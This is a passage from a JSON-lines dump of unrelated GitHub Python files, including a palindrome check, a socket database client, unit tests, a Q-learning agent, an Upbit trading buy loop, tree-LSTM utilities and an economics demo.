ReturnCodes.kGeneralError\n if tempVar is not None:\n self.setLocation(tempVar)\n for logFunc in self._log('read-tag-values-location').debug3Func(): logFunc('read location. location=%s, tempValue=%s', self.location, tempValue.getType())\n \n\n \n\n for logFunc in self._log('read-tag-values-done').debug3Func(): logFunc('done. readAllOrFail=%s, tagValueList=%s', readAllOrFail, tagValueList)\n return ReturnCodes.kOk\n\n\n\n\"\"\"\nExtracted from the below data: \n{\n \"node\": {\n \"name\": \"status\", \n \"namespace\": \"status\", \n \"className\": \"StatusMaapi\", \n \"importStatement\": \"from a.api.yang.modules.tech.common.qwilt_tech_storage_module.tech.storage.module.status.status_maapi_gen import StatusMaapi\", \n \"baseClassName\": \"StatusMaapiBase\", \n \"baseModule\": \"status_maapi_base_gen\"\n }, \n \"ancestors\": [\n {\n \"moduleYangNamespacePrefix\": \"qt\", \n \"yangName\": \"tech\", \n \"namespace\": \"tech\", \n \"isCurrent\": false, \n \"isList\": false, \n \"moduleYangNamespace\": \"http://qwilt.com/ns/yang/device/tech/qwilt-tech\", \n \"name\": \"tech\"\n }, \n {\n \"moduleYangNamespacePrefix\": \"qt-strg\", \n \"yangName\": \"storage\", \n \"namespace\": \"storage\", \n \"isCurrent\": false, \n \"isList\": false, \n \"moduleYangNamespace\": \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage\", \n \"name\": \"storage\"\n }, \n {\n \"moduleYangNamespacePrefix\": \"qt-strg-module\", \n \"isCurrent\": false, \n \"yangName\": \"module\", \n \"namespace\": \"module\", \n \"isList\": true, \n \"moduleYangNamespace\": \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", \n \"keyLeaf\": {\n \"varName\": \"module\", \n \"defaultVal\": null, \n \"typeHandler\": \"handler: StringHandler\"\n }, \n \"name\": \"module\"\n }, \n {\n \"moduleYangNamespacePrefix\": \"qt-strg-module\", \n \"yangName\": \"status\", \n \"namespace\": \"status\", \n \"isCurrent\": true, \n \"isList\": false, \n \"moduleYangNamespace\": \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", \n \"name\": \"status\"\n }\n ], \n \"descendants\": [], \n \"conditionalDebugName\": null, \n \"operLeaves\": [\n {\n \"moduleYangNamespace\": \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", \n \"moduleYangNamespacePrefix\": \"qt-strg-module\", \n \"typeHandler\": \"handler: StringHandler\", \n \"memberName\": \"location\", \n \"yangName\": \"location\", \n \"object\": \"\", \n \"leafrefPath\": null, \n \"defaultVal\": null, \n \"hasDefaultRef\": false\n }\n ], \n \"module\": {}, \n \"configLeaves\": [], \n \"env\": {\n \"namespaces\": [\n \"a\", \n \"api\", \n \"yang\", \n \"modules\", \n \"tech\", \n \"common\", \n \"qwilt_tech_storage_module\"\n ]\n }, \n \"leaves\": [\n {\n \"moduleYangNamespace\": \"http://qwilt.com/ns/yang/device/tech/qwilt-tech-storage-module\", \n \"moduleYangNamespacePrefix\": \"qt-strg-module\", \n \"typeHandler\": \"handler: StringHandler\", \n \"memberName\": \"location\", \n \"yangName\": \"location\", \n \"object\": \"\", \n \"leafrefPath\": null, \n \"defaultVal\": null, \n \"hasDefaultRef\": false\n }\n ], \n \"createTime\": \"2013\"\n}\n\"\"\"\n\n\n","repo_name":"afeset/miner2-tools","sub_path":"oscar/a/api/yang/modules/tech/common/qwilt_tech_storage_module/tech/storage/module/status/status_maapi_gen.py","file_name":"status_maapi_gen.py","file_ext":"py","file_size_in_byte":15634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32654073305","text":"import string\n\n\nclass Solution(object):\n def isPalindrome(self, s):\n\n dights = string.digits\n letters = string.ascii_letters\n\n s=s.lower()\n\n s = [i for i in s if i in dights or i in letters]\n print(type(s))\n return s[:] ==s[::-1]\n\n\nif __name__ == '__main__':\n s = 'A man, a plan, a canal: Panama'\n print(Solution().isPalindrome(s))","repo_name":"a752602882/Http_To_Do","sub_path":"leetcode第二遍/字符串/回文数.py","file_name":"回文数.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40486923001","text":"import socket\r\nimport json\r\nfrom multiprocessing import Process\r\nimport re\r\n\r\nclass DBconnection:\r\n def __init__(self,addr,recv_queue,send_queue):\r\n self.addr = addr\r\n self.recv_queue = recv_queue\r\n self.send_queue = send_queue\r\n self.socket = socket.socket()\r\n\r\n def conn(self):\r\n try:\r\n self.socket.connect(self.addr)\r\n except Exception as e:\r\n print(e)\r\n self.recv_queue.put('连接失败\\n')\r\n return False\r\n self.recv_queue.put('连接成功\\n')\r\n print('成功运行')\r\n return True\r\n\r\n def start(self):\r\n self.start_recv()\r\n self.start_send()\r\n\r\n def start_recv(self):\r\n t = Process(target=self._recv)\r\n t.daemon = True\r\n t.start()\r\n\r\n def _recv(self):\r\n try:\r\n while True:\r\n data = self.socket.recv(1024).decode()\r\n data = json.loads(data)\r\n print(data)\r\n if data['code'] == 1:\r\n self.recv_queue.put(data['msg'] + '\\n')\r\n else:\r\n result = data['result']\r\n for date, res in result.items():\r\n msg = '......\\n' + date + ':\\n'\r\n for field, value in res.items():\r\n msg += field + ': ' + str(value) + '\\n'\r\n self.recv_queue.put(msg)\r\n except socket.error:\r\n self.recv_queue.put('连接中断')\r\n return\r\n except Exception as e:\r\n print(e)\r\n return\r\n\r\n\r\n\r\n def _send(self):\r\n try:\r\n\r\n while True:\r\n msg = self.send_queue.get()\r\n date = re.findall(r'(\\d{4}[/-]\\d{1,2}[/-]\\d{1,2})', msg['date'])\r\n field = re.split(r'[\\s:;]+', msg['field'])[:-1]\r\n msg = {'date': date, 'field': field}\r\n msg = json.dumps(msg)\r\n print(msg)\r\n self.socket.sendall(msg.encode('UTF-8'))\r\n\r\n except socket.error:\r\n return\r\n except Exception as e:\r\n print(e)\r\n return\r\n\r\n def start_send(self):\r\n t = Process(target=self._send)\r\n t.daemon = True#主进程运行完不会检查子进程的状态,直接结束进程\r\n t.start()\r\n\r\n def close(self):\r\n try:\r\n self.socket.close()\r\n self.socket = None\r\n except Exception as e:\r\n print(e)","repo_name":"Hanaka7/S-A-second","sub_path":"DBconnection.py","file_name":"DBconnection.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37117722024","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport itertools\nimport time\nfrom collections import defaultdict\n\n# TODO\n# ensure that result can be decoded, i.e.\n# the graph with edges [node, encoder] has no cycles\n# works for this example anyway, but that is just luck\n\ndef draw_circle(x, y, radius):\n circle = plt.Circle((x, y), radius, fc='white', ec='black', fill=True, zorder=10)\n plt.gcf().gca().add_artist(circle)\n\ndef draw_line(ax, ay, bx, by, color='black'):\n plt.plot([ax, bx], [ay, by], color=color)\n\ntarget = 0\n\np = [\n [4, 1],\n [0, 1],\n [1, 2],\n [3, 2],\n [1, 0],\n [3, 0],\n]\n\nn = len(p)\n\nV = list(range(n))\n\ncosts = {\n (1, 2): 18,\n (1, 4): 6,\n (4, 5): 25,\n (3, 5): 38,\n (2, 3): 20,\n (0, 3): 4,\n (0, 5): 40,\n (3, 4): 5,\n (2, 4): 10,\n}\n\ndef edge(a, b):\n return (min(a, b), max(a, b))\n\nedges = list(costs.keys())\n\nassert(all(a <= b for a,b in edges))\n\nm = np.array([\n [9, np.inf, np.inf, np.inf, np.inf, np.inf],\n [5, 20, 2, 5, 5, 5],\n [4, 8, 10, 7, 6, 5],\n [13, 14, 10, 15, 12, 11],\n [6, 8, 10, 9, 11, 7],\n [15, 16, 3, 18, 17, 19],\n])\n\ndef powerset(values):\n return itertools.chain.from_iterable(\n itertools.combinations(values, n) for n in range(len(values) + 1))\n\ndef find_reachable(node, neighbors, visited):\n for neighbor in neighbors[node]:\n if neighbor not in visited:\n visited.add(neighbor)\n find_reachable(neighbor, neighbors, visited)\n return visited\n\ndef edges_to_neighbors(edges):\n neighbors = defaultdict(set)\n for a,b in edges:\n neighbors[a].add(b)\n neighbors[b].add(a)\n return neighbors\n\ncheapest_graphs = defaultdict(lambda: (float(\"inf\"), None))\n\nfor subgraph_edges in powerset(edges):\n neighbors = edges_to_neighbors(subgraph_edges)\n nodes = neighbors.keys()\n\n cost = sum(costs[edge] for edge in subgraph_edges)\n \n for node in nodes:\n reachable = find_reachable(node, neighbors, set([node]))\n\n reachable = tuple(sorted(reachable))\n key = (node, reachable)\n\n cheapest_graphs[key] = min(cheapest_graphs[key], (cost, subgraph_edges))\n\ndist = np.full((n, n), np.inf)\nnext = np.full((n, n), -1, dtype=np.int)\n\nfor node in V:\n dist[node, node] = 0\n\nfor (a,b), cost in costs.items():\n dist[a, b] = cost\n next[a, b] = b\n \n dist[b, a] = cost\n next[b, a] = a\n\nfor k in range(n):\n for i in range(n):\n for j in range(n):\n if dist[i, j] > dist[i, k] + dist[k, j]:\n dist[i, j] = dist[i, k] + dist[k, j]\n next[i, j] = next[i, k]\n\nsmallest_cost = np.inf\n\nfor encoders in itertools.product(V, repeat=n):\n d = defaultdict(list)\n\n node_to_target_cost = 0\n \n for node, encoder in zip(V, encoders):\n d[encoder].append(node)\n\n node_to_target_cost += dist[node, target]*m[node, encoder]\n\n encoder_to_node_cost = 0\n\n encoder_to_node_costs = []\n\n for encoder, reachable in d.items():\n reachable = tuple(sorted(reachable))\n key = (encoder, reachable)\n\n cost, subgraph_edges = cheapest_graphs[key]\n\n encoder_to_node_costs.append((cost, m[encoder, encoder]))\n\n encoder_to_node_cost += cost*m[encoder, encoder]\n\n total_cost = node_to_target_cost + encoder_to_node_cost\n\n if smallest_cost > total_cost:\n smallest_cost = total_cost\n print(\"cost:\")\n print(smallest_cost)\n print(\"send to nodes for self-coding:\")\n for (encoder, reachable), cost in zip(d.items(), encoder_to_node_costs):\n print(\"send\", encoder, \"to\", reachable, \"for\", cost[0], \"*\", cost[1])\n print(\"now send to target:\")\n for node, encoder in zip(V, encoders):\n print(\"send\", node, \"encoded with\", encoder, \"to\", target, \"for\", dist[node, target], \"*\", m[node, encoder], \"=\", dist[node, target]*m[node, encoder])\n print(\"\\n\")\n\nfor (a,b), c in costs.items():\n ax, ay = p[a]\n bx, by = p[b]\n mx = (ax + bx)*0.5\n my = (ay + by)*0.5\n draw_line(ax, ay, bx, by)\n plt.text(mx, my, str(c), ha='center', va='center', bbox={'boxstyle':'round', 'facecolor':'white', 'pad':0.5})\n\nfor i, (x,y) in enumerate(p):\n draw_circle(x, y, 0.11)\n #draw_circle(x, y, 0.1, 'white')\n plt.text(x, y, str(i), zorder=11, ha='center', va='center')\n\nplt.axes().set_aspect('equal', 'datalim')\nplt.grid(True)\nplt.show()\n","repo_name":"983/snippets","sub_path":"wip/selfcoding.py","file_name":"selfcoding.py","file_ext":"py","file_size_in_byte":4389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6403086922","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\ndicts = [\n\t{'name':'Mick',\n\t 'food':'PIZZA'},\n\t{'name':'Garfield',\n\t 'food':'lasanga'},\n\t{'name':'Walter',\n\t 'food':'pancakes'},\n\t{'name': 'Galactus',\n\t 'food': 'worlds'}\n]\n\nstringy = \"Hi, I'm {name} and I love to eat {food}!\"\n\ndef string_factory(some_dict, some_string):\n\tsentence_list=[]\n\tfor key in some_dict:\n\t\tnew_string = some_string.format(**key)\n\t\tsentence_list.append(new_string)\n\treturn sentence_list\n\nprint(string_factory(dicts,stringy))\n","repo_name":"scr9035/Pclass","sub_path":"Euler/dict_task.py","file_name":"dict_task.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41220308274","text":"import pytest\nimport feeds.notification_level as level\nfrom feeds.exceptions import (\n MissingLevelError\n)\n\ndef test_register_level_ok():\n class TestLevel(level.Level):\n id=666\n name=\"test\"\n level.register(TestLevel)\n assert '666' in level._level_register\n assert level._level_register['666'] == TestLevel\n assert 'test' in level._level_register\n assert level._level_register['test'] == TestLevel\n\ndef test_register_level_bad():\n class NoId(level.Level):\n id=None\n name=\"noid\"\n\n with pytest.raises(ValueError) as e:\n level.register(NoId)\n assert \"A level must have an id\" in str(e.value)\n\n class NoName(level.Level):\n id=667\n\n with pytest.raises(ValueError) as e:\n level.register(NoName)\n assert \"A level must have a name\" in str(e.value)\n\n class DuplicateId(level.Level):\n id='1'\n name='duplicate'\n\n with pytest.raises(ValueError) as e:\n level.register(DuplicateId)\n assert \"The level id '1' is already taken by alert\" in str(e.value)\n\n class DuplicateName(level.Level):\n id=668\n name=\"warning\"\n\n with pytest.raises(ValueError) as e:\n level.register(DuplicateName)\n assert \"The level 'warning' is already registered\" in str(e.value)\n\n with pytest.raises(TypeError) as e:\n level.register(str)\n assert \"Can only register Level subclasses\" in str(e.value)\n\n with pytest.raises(ValueError) as e:\n level.register(level.Alert)\n assert \"The level id '1' is already taken by alert\" in str(e.value)\n\n\ndef test_get_level():\n l = level.get_level('warning')\n assert isinstance(l, level.Warning)\n assert l.id == level.Warning.id\n assert l.name == level.Warning.name\n\n missing = \"not_a_real_level\"\n with pytest.raises(MissingLevelError) as e:\n level.get_level(missing)\n assert 'Level \"{}\" not found'.format(missing) in str(e.value)\n\n\ndef test_translate_level():\n l = level.Alert()\n l_trans = level.translate_level(l)\n assert isinstance(l_trans, level.Alert)\n\n l = level.translate_level(1)\n assert isinstance(l, level.Alert)\n assert l.name == 'alert'\n\n l = level.translate_level('1')\n assert isinstance(l, level.Alert)\n assert l.name == 'alert'\n\n l = level.translate_level('alert')\n assert isinstance(l, level.Alert)\n\n with pytest.raises(MissingLevelError) as e:\n level.translate_level('foo')\n assert 'Level \"foo\" not found' in str(e.value)\n\n with pytest.raises(TypeError) as e:\n level.translate_level([])\n assert 'Must be either a subclass of Level or a string' in str(e.value)\n","repo_name":"kbase/feeds","sub_path":"test/test_notification_level.py","file_name":"test_notification_level.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20280600634","text":"def quicksort(a):\n if len(a) <= 1:\n return a\n\n pivot = a[0]\n left = []\n right = []\n for i in range(1, len(a)):\n if a[i] < pivot:\n left.append(a[i])\n else:\n right.append(a[i])\n return quicksort(left) + [pivot] + quicksort(right)\n\ndef main():\n # numbers = [1, 5, 0, 25, 12, 47, 30, 101, 50]\n numbers = [4, 6, 3, 2, 9, 7, 3, 5]\n print(quicksort(numbers))\n\nif __name__ == \"__main__\":\n main()","repo_name":"LucasLaLima/algorithms-data-structures","sub_path":"quicksort_nohelp.py","file_name":"quicksort_nohelp.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70539101353","text":"# 문제 : https://www.acmicpc.net/problem/1946\n\nimport sys\ninput = sys.stdin.readline\n\nt = int(input())\nfor _ in range(t):\n n = int(input())\n score = [list(map(int, input().split())) for _ in range(n)]\n score = sorted(score, key=lambda x : x[0])\n maxx = n+1\n count = 0\n for i in score:\n if maxx > i[1]:\n count += 1\n maxx = i[1]\n print(count)","repo_name":"fbghgus123/algorithm","sub_path":"python/백준/그리디/1946_신입사원.py","file_name":"1946_신입사원.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"14827585971","text":"\"\"\"I/O utility functions\"\"\"\nimport os\nimport shutil\n\nimport numpy as np\nimport torch\n\n\ndef save_checkpoint(state: dict, is_best: bool, save_dir: str, name: str):\n \"\"\"Saves model and training parameters.\n\n Saves model and training parameters at checkpoint + 'epoch.pth'. If is_best==True, also saves\n checkpoint + 'best.pth'\n\n Args:\n state: (dict) contains model's state_dict, may contain other keys such as epoch, optimizer state_dict\n is_best: (bool) True if it is the best model seen till now\n save_dir: (str) the location where to save the checkpoint\n name: (str) file name to be written\n \"\"\"\n filepath = os.path.join(save_dir, f\"{name}.pth\")\n if not os.path.exists(save_dir):\n print(\n \"Checkpoint Directory does not exist! Making directory {}\".format(save_dir)\n )\n os.mkdir(save_dir)\n else:\n print(f\"Checkpoint Directory exists! Saving {name} in {save_dir}\")\n torch.save(state, filepath)\n if is_best:\n shutil.copyfile(filepath, os.path.join(save_dir, f\"{name.split('-')[0]}-best.pth\"))\n\n\ndef load_checkpoint(save: str, device: str):\n \"\"\"Loads model parameters (state_dict) from file_path.\n\n Args:\n save: (str) directory of the saved checkpoint\n device: (str) map location\n \"\"\"\n if not os.path.exists(save):\n raise (\"File doesn't exist {}\".format(save))\n checkpoint = torch.load(save, map_location=device)\n\n return checkpoint\n\n\ndef worker_init_fn(worker_id):\n np.random.seed(np.random.get_state()[1][0] + worker_id)\n","repo_name":"mhnazeri/PMoE","sub_path":"PMoE/utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"13477991361","text":"import numpy as np\nfrom problema import Problema\nfrom collections import defaultdict\n\nclass QAtari:\n def __init__(self, problema: Problema, gamma = 0.1, alpha = 0.1, e=0.4, Q: dict = None):\n\n self.problema = problema\n\n\n # Configurações de exploração\n self.e_inicial = e\n self.e = self.e_inicial\n self.e_minimo = 0.4\n self.e_decay = 0.95\n \n # Configurações de aprendizado\n self.alpha_inicial=alpha\n self.alpha = self.alpha_inicial\n self.alpha_decay = 0.95\n self.alpha_minimo = 0.1\n\n # Configurações de desconto\n self.gamma_inicial=gamma\n self.gamma = self.gamma_inicial\n self.gamma_decay = 0.95\n self.gamma_minimo = 0.1\n\n self.recompensas = {}\n\n n_acoes = problema.env.action_space.__dict__['n']\n\n \n if Q:\n self.Q = defaultdict(lambda: np.zeros(n_acoes), Q)\n else:\n self.Q = defaultdict(lambda: np.zeros(n_acoes))\n \n def proxima_acao(self, estado):\n estado = int(estado)\n\n if np.random.random() < self.e:\n acao = self.problema.env.action_space.sample()\n return acao\n else:\n return int(np.argmax(self.Q[estado]))\n\n def atualizar_q_table(self, estado, acao, recompensa, prox_estado): \n estado = int(estado)\n prox_estado = int(prox_estado)\n\n self.Q[estado][acao] = self.Q[estado][acao] + self.alpha * (recompensa + self.gamma * (self.Q[prox_estado][acao] - self.Q[estado][acao])) \n\n def registrar_recompensa(self, ciclo, recompensa):\n self.recompensas[ciclo] = recompensa\n\n def get_q_table(self):\n copy = {}\n for estado, valores in self.Q.items():\n copy[estado] = valores\n \n return copy\n \n def reduzir_e(self):\n if self.e > self.e_minimo:\n self.e = self.e * self.e_decay\n \n def reduzir_y(self):\n if self.gamma > self.gamma_minimo:\n self.gamma = self.gamma * self.gamma_decay\n \n def reduzir_a(self):\n if self.alpha > self.alpha_minimo:\n self.alpha = self.alpha * self.alpha_decay","repo_name":"PedroLS2603/PI-IA","sub_path":"PI-3/qatari.py","file_name":"qatari.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6044520768","text":"# 캔들 1분봉 볼밴 1분봉 상승기울기 매수 5050\n# 볼린저밴트 5분봉 하단 점을 찍고 올라가면 매수 모니터링은 1분봉기준\n# 저가 매수 로직만 세팅\n\nimport sys\nimport os\nimport time\nfrom datetime import datetime, timedelta\n\n# 공통 모듈 Import\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\nfrom module.old import oldupbit as upbit\n\n\n# -----------------------------------------------------------------------------\n# - Name : start_buytrade\n# - Desc : 매수 로직\n# - Input\n# 1) minute_interval : 몇 분봉을 볼지 정함\n# 2) minute_check : 몇개의 봉을 기준삼을지 정함\n# 3) buy_amt : 매수금액\n# -----------------------------------------------------------------------------\ndef start_buytrade(buy_amt, except_items):\n try:\n data_cnt = 0\n\n # 55분 마다 리스트 초기화 (변수 변경 시 아래도 변경해야 함)\n due_time = (datetime.now() + timedelta(hours=3)).strftime('%H%M')\n\n # 매수 될 때까지 반복 수행\n while True:\n\n # 전체 종목 추출\n # 1. KRW마켓 ``\n # 2. 제외할 ticker\n item_list = upbit.get_items('KRW', except_items)\n\n # 전체 종목 반복\n for item_list_for in item_list:\n\n\n # 1분봉 (최대 200개 요청가능) - 6개 요청(5분전부터)\n df_candle = upbit.get_candle(item_list_for['market'], '1', 1)\n\n can_lowNow = df_candle[0]['low_price']\n\n\n # 볼린저밴드 1분봉\n df_bb = upbit.get_bb(item_list_for['market'], '1', '200', 3) #1분봉으로 테스트\n\n bb_now = df_bb[0]['BBL']\n bb_Before1 = df_bb[1]['BBL']\n bb_Before2 = df_bb[2]['BBL']\n\n bb_gapBefore0 = bb_now - bb_Before1\n bb_gapBefore1 = bb_Before1 - bb_Before2\n\n bb_nowH = df_bb[0]['BBH']\n bb_Before1H = df_bb[1]['BBH']\n bb_Before2H = df_bb[2]['BBH']\n\n bb_gapBefore0H = bb_nowH - bb_Before1H\n bb_gapBefore1H = bb_Before1H - bb_Before2H\n\n\n print(format((bb_now-can_lowNow)/bb_now*100, '.1f'),'%', int(bb_gapBefore0 - bb_gapBefore1),\">>>\",item_list_for['market'], \" 양수TRY / 제외종목:\", except_items)\n\n # 볼린저밴드 1분봉 하단을 반등 시 매수\n if bb_now > can_lowNow and bb_gapBefore0 > 0 and bb_gapBefore1 > 0 and bb_gapBefore0H > 0 and bb_gapBefore1H > 0:\n\n # 기준 충족 종목 종가\n print(item_list_for['market'],'하한가' + str(can_lowNow))\n\n # 지정가 매수\n print('지정가 매수 시작!')\n upbit.buycoin_tg(item_list_for['market'],buy_amt, can_lowNow)\n\n # ------------------------------------------------------------------\n # 매수 완료 종목은 매수 대상에서 제외\n # ------------------------------------------------------------------\n except_items = except_items + ',' + item_list_for['market'].split('-')[1]\n\n\n time.sleep(0.03)\n\n\n\n if data_cnt == 0 or data_cnt % 100 == 0:\n print(\"매수 진행 중...[\" + str(data_cnt) + \"]\")\n\n\n\n now = datetime.now().strftime('%H%M')\n\n if due_time == now:\n except_items = ''\n due_time = (datetime.now() + timedelta(hours=1)).strftime('%H%M')\n\n # 조회건수증가\n data_cnt = data_cnt + 1\n\n # ----------------------------------------\n # 모든 함수의 공통 부분(Exception 처리)\n # ----------------------------------------\n except Exception:\n raise\n# -----------------------------------------------------------------------------\n# - Name : main\n# - Desc : 메인\n# -----------------------------------------------------------------------------\nif __name__ == '__main__':\n\n\n buy_amt = 5050\n print(\"매수금액:\" + str(buy_amt))\n\n # 매수로직 시작\n try:\n except_items = ''\n while True:\n start_buytrade(buy_amt, except_items)\n\n\n except Exception:\n\n raise","repo_name":"seomh81/1","sub_path":"old_1.3.py","file_name":"old_1.3.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15549544218","text":"\"\"\" Module for tree utilities \"\"\"\nfrom typing import Dict, List, Any\nfrom collections import defaultdict\n\nimport torch\n\nfrom route_distances.utils.type_utils import StrDict\n\n\ndef accumulate_stats(stats: List[Dict[str, float]]) -> Dict[str, float]:\n \"\"\"Accumulate statistics from a list of statistics\"\"\"\n accum: StrDict = defaultdict(float)\n for output in stats:\n for key, value in output.items():\n accum[key] += value\n return accum\n\n\ndef add_node_index(node: StrDict, n: int = 0) -> int:\n \"\"\"Add an index to the node and all its children\"\"\"\n node[\"index\"] = n\n for child in node.get(\"children\", []):\n n += 1\n n = add_node_index(child, n)\n return n\n\n\ndef collate_batch(batch: List[StrDict]) -> StrDict:\n \"\"\"\n Collate a batch of tree data\n\n Collate the first tree of all pairs together, and then collate\n the second tree of all pairs.\n\n Convert all matrices to pytorch tensors.\n\n The output dictionary has the following keys:\n - tree1: the collated first tree for all pairs\n - tree2: the collated second tree for all pairs\n - ted: the TED for each pair of trees\n\n :param batch: the list of tree data\n :return: the collated batch\n \"\"\"\n\n def _make_tensor(key, dtype):\n return torch.tensor([sample[key] for sample in batch], dtype=dtype)\n\n trees1 = collate_trees([sample[\"tree1\"] for sample in batch])\n trees2 = collate_trees([sample[\"tree2\"] for sample in batch])\n teds = _make_tensor(\"ted\", torch.float32)\n return {\"tree1\": trees1, \"tree2\": trees2, \"ted\": teds}\n\n\ndef collate_trees(trees: List[StrDict]) -> StrDict:\n \"\"\"\n Collate a list of trees by stacking the feature vectors, the node orders and the\n edge orders. The adjacency list if adjusted with an offset.\n\n This is a modified version from treelstm package that also converts all matrices to tensors\n\n The output dictionary has the following keys:\n - features: the stacked node features\n - node_order: the stacked node orders\n - edge_order: the stacked edge orders\n - adjacency_list: the stack and adjusted adjacency list\n - tree_size: the number of nodes in each tree\n\n :param trees: the trees to collate\n :return: the collated tree data\n \"\"\"\n\n def _make_tensor(key, dtype):\n return torch.cat([torch.tensor(tree[key], dtype=dtype) for tree in trees])\n\n tree_sizes = [tree[\"num_nodes\"] for tree in trees]\n\n batched_features = _make_tensor(\"features\", torch.float32)\n batched_node_order = _make_tensor(\"node_order\", torch.int64)\n batched_edge_order = _make_tensor(\"edge_order\", torch.int64)\n\n batched_adjacency_list = []\n offset = 0\n for nnodes, tree in zip(tree_sizes, trees):\n batched_adjacency_list.append(\n torch.tensor(tree[\"adjacency_list\"], dtype=torch.int64) + offset\n )\n offset += nnodes\n batched_adjacency_list = torch.cat(batched_adjacency_list) # noqa\n\n return {\n \"features\": batched_features,\n \"node_order\": batched_node_order,\n \"edge_order\": batched_edge_order,\n \"adjacency_list\": batched_adjacency_list,\n \"tree_sizes\": tree_sizes,\n }\n\n\ndef gather_adjacency_list(node: StrDict) -> List[List[int]]:\n \"\"\"\n Create the adjacency list of a tree\n\n :param node: the current node in the tree\n :return: the adjacency list\n \"\"\"\n adjacency_list = []\n for child in node.get(\"children\", []):\n adjacency_list.append([node[\"index\"], child[\"index\"]])\n adjacency_list.extend(gather_adjacency_list(child))\n\n return adjacency_list\n\n\ndef gather_node_attributes(node: StrDict, key: str) -> List[Any]:\n \"\"\"\n Collect node attributes by recursively traversing the tree\n\n :param node: the current node in the tree\n :param key: the name of the attribute to extract\n :return: the list of attributes gathered\n \"\"\"\n features = [node[key]]\n for child in node.get(\"children\", []):\n features.extend(gather_node_attributes(child, key))\n return features\n","repo_name":"MolecularAI/route-distances","sub_path":"route_distances/lstm/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4053,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"72"} +{"seq_id":"37922624008","text":"class Solution:\n def sumEvenAfterQueries(self, nums: List[int], queries: List[List[int]]) -> List[int]:\n s = sum(i for i in nums if i % 2 == 0)\n res = []\n for i, j in queries:\n if nums[j] % 2 == 0:\n s -= nums[j]\n nums[j] += i\n if nums[j] % 2 == 0:\n s += nums[j]\n res.append(s)\n return res\n ","repo_name":"scoder5/LeetCode-Solutions","sub_path":"985-sum-of-even-numbers-after-queries/985-sum-of-even-numbers-after-queries.py","file_name":"985-sum-of-even-numbers-after-queries.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1144064292","text":"__author__ = 'Randall'\n\n\nfrom demos.setup import np, plt, demo\nfrom compecon import DDPmodel\n\n\n## DEMDDP02 Asset replacement model\n\n# Model Parameters\nmaxage = 5 # maximum machine age\nrepcost = 75 \t# replacement cost\ndelta = 0.9 # discount factor\n\n# State Space\nS = np.arange(1, 1 + maxage) # machine age\nn = S.size \t # number of states\n\n# Action Space (keep=1, replace=2)\nX = ['keep', 'replace'] \t# vector of actions\nm = len(X) \t# number of actions\n\n\n# Reward Function\nf = np.zeros((m, n))\nf[0] = 50 - 2.5 * S - 2.5 * S ** 2\nf[1] = 50 - repcost\nf[0, -1] = -np.inf\n\n# State Transition Function\ng = np.zeros_like(f)\ng[0] = np.arange(1, n + 1)\ng[0, -1] = n - 1 # adjust last state so it doesn't go out of bounds\n\n# Model Structure\nmodel = DDPmodel(f, g, delta)\nmodel.solve()\n\n\n## Analysis\n\n# Simulate Model\nsinit, nyrs = S.min() - 1, 12\nt = np.arange(1 + nyrs)\nspath, xpath = model.simulate(sinit, nyrs)\n\n# Plot Optimal Value\ndemo.figure('Optimal Value Function', 'Age of Machine', 'Value')\nplt.plot(S, model.value)\n\n# Plot State Path\ndemo.figure('Optimal State Path', 'Year', 'Age of Machine', [0, 12])\nplt.plot(t, S[spath])\n\nplt.show()","repo_name":"randall-romero/CompEcon","sub_path":"compecon/demos/demddp02.py","file_name":"demddp02.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"72"} +{"seq_id":"41535008774","text":"import copy\nimport functools\nimport hashlib\nimport json\nimport logging\nimport os\nimport os.path\nimport sqlite3\nimport time\nimport yaml\n\nimport requests\nfrom six.moves.urllib import parse\n\nfrom deep_oc_client.client import modules\nfrom deep_oc_client import exceptions\nfrom deep_oc_client import version\n\n\nclass _JSONEncoder(json.JSONEncoder):\n\n def default(self, o):\n return super(_JSONEncoder, self).default(o)\n\n\ndef cache_request(f):\n \"\"\"Decorator to cache requests.\"\"\"\n\n @functools.wraps(f)\n def wrapper(self, url, method, **kwargs):\n if method.lower() == \"get\":\n cache_db = os.path.join(self.cache_dir, \"cache\")\n try:\n conn = sqlite3.connect(cache_db)\n with conn:\n conn.execute(\n \"CREATE TABLE IF NOT EXISTS module \"\n \" (id INTEGER PRIMARY KEY, \"\n \" url TEXT 